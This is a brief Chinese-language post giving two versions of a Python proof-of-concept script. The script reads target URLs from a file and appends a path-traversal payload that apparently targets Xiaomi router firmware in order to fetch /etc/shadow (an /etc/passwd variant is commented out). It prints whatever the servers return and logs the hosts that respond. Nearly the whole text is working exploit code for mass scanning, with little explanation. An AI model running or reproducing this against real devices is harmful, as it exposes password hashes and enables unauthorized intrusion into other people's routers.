用Python写漏洞验证脚本的代码

import requests
import time
def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    poc_check(poc_xiaomi)

import requests
import time

def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        # print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
        try:
            print("再也没有留恋的斜阳")
            print("正在检测:")
            print(poc_url)
            poc_data=requests.get(poc_url)
            if poc_data.status_code==200:
                print(poc_data.content.decode('utf-8'))
                with open(r'xiaomivuln.txt','a+') as f:
                    f.write(poc_url+'\n')
                    f.close()
        except Exception as e:
            time.sleep(0.1)
            pass
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
    poc_check(poc_xiaomi)
    # poc_check(poc_xiaomi1)